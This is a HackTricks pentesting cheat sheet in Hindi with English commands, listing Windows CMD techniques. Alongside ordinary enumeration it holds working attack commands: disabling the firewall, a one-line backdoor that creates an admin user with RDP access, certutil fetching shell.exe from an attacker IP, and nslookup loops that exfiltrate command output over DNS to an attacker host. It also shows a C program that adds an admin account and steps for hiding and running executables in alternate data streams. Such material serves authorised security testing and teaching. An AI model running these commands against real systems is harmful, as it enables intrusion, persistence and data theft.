hacktricks/windows-hardening/basic-cmd-for-pentesters.md

# Basic Win CMD for Pentesters

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<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**

**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।

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## सिस्टम जानकारी

### संस्करण और पैच जानकारी
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?
```
### वातावरण
```bash
set #List all environment variables
```
कुछ पर्यावरण चर जो उजागर करने के लिए हैं:

* **COMPUTERNAME**: कंप्यूटर का नाम
* **TEMP/TMP:** अस्थायी फ़ोल्डर
* **USERNAME:** आपका उपयोगकर्ता नाम
* **HOMEPATH/USERPROFILE:** होम निर्देशिका
* **windir:** C:\Windows
* **OS**:Windows OS
* **LOGONSERVER**: डोमेन नियंत्रक का नाम
* **USERDNSDOMAIN**: DNS के साथ उपयोग करने के लिए डोमेन नाम
* **USERDOMAIN**: डोमेन का नाम
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### माउंटेड डिस्क
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [डिफेंडर](authentication-credentials-uac-and-efs/#defender)

### रीसायकल बिन
```bash
dir C:\$Recycle.Bin /s /b
```
### प्रक्रियाएँ, सेवाएँ और सॉफ़्टवेयर
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
## डोमेन जानकारी
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### लॉग और घटनाएँ
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## Users & Groups

### Users
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### समूह
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
### सत्रों की सूची
```
qwinsta
klist sessions
```
### पासवर्ड नीति
```
net accounts
```
### क्रेडेंशियल्स
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### उपयोगकर्ताओं के साथ स्थिरता
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## नेटवर्क

### इंटरफेस, रूट, पोर्ट, होस्ट और DNSकैश
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
### फ़ायरवॉल
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### शेयर
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### वाईफाई
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
### SNMP
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
### नेटवर्क इंटरफेस
```bash
ipconfig /all
```
### ARP तालिका
```bash
arp -A
```
## डाउनलोड

Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
CertReq.exe
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
Certutil.exe
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**`Download` के लिए अधिक खोजने के लिए देखें** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)

## विविध
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
### वर्ण काला सूची को बायपास करें
```bash
echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami
```
### DOSfuscation

एक अस्पष्ट CMD लाइन उत्पन्न करता है
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
### सुनने का पता ACLs

आप [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) पर बिना व्यवस्थापक बने सुन सकते हैं।
```bash
netsh http show urlacl
```
### मैनुअल DNS शेल

**हमलावर** (Kali) को इनमें से एक 2 विकल्पों में से एक का उपयोग करना चाहिए:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### पीड़ित

**`for /f tokens`** तकनीक: यह हमें कमांड निष्पादित करने, प्रत्येक पंक्ति के पहले X शब्द प्राप्त करने और इसे DNS के माध्यम से हमारे सर्वर पर भेजने की अनुमति देती है
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
आप आउटपुट को **पुनर्निर्देशित** भी कर सकते हैं, और फिर इसे **पढ़** सकते हैं।
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
## C कोड से CMD कॉल करना
```c
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

**उदाहरण लिए गए हैं** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. वहाँ और भी बहुत कुछ है!**
```bash
## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें**

**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}


{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

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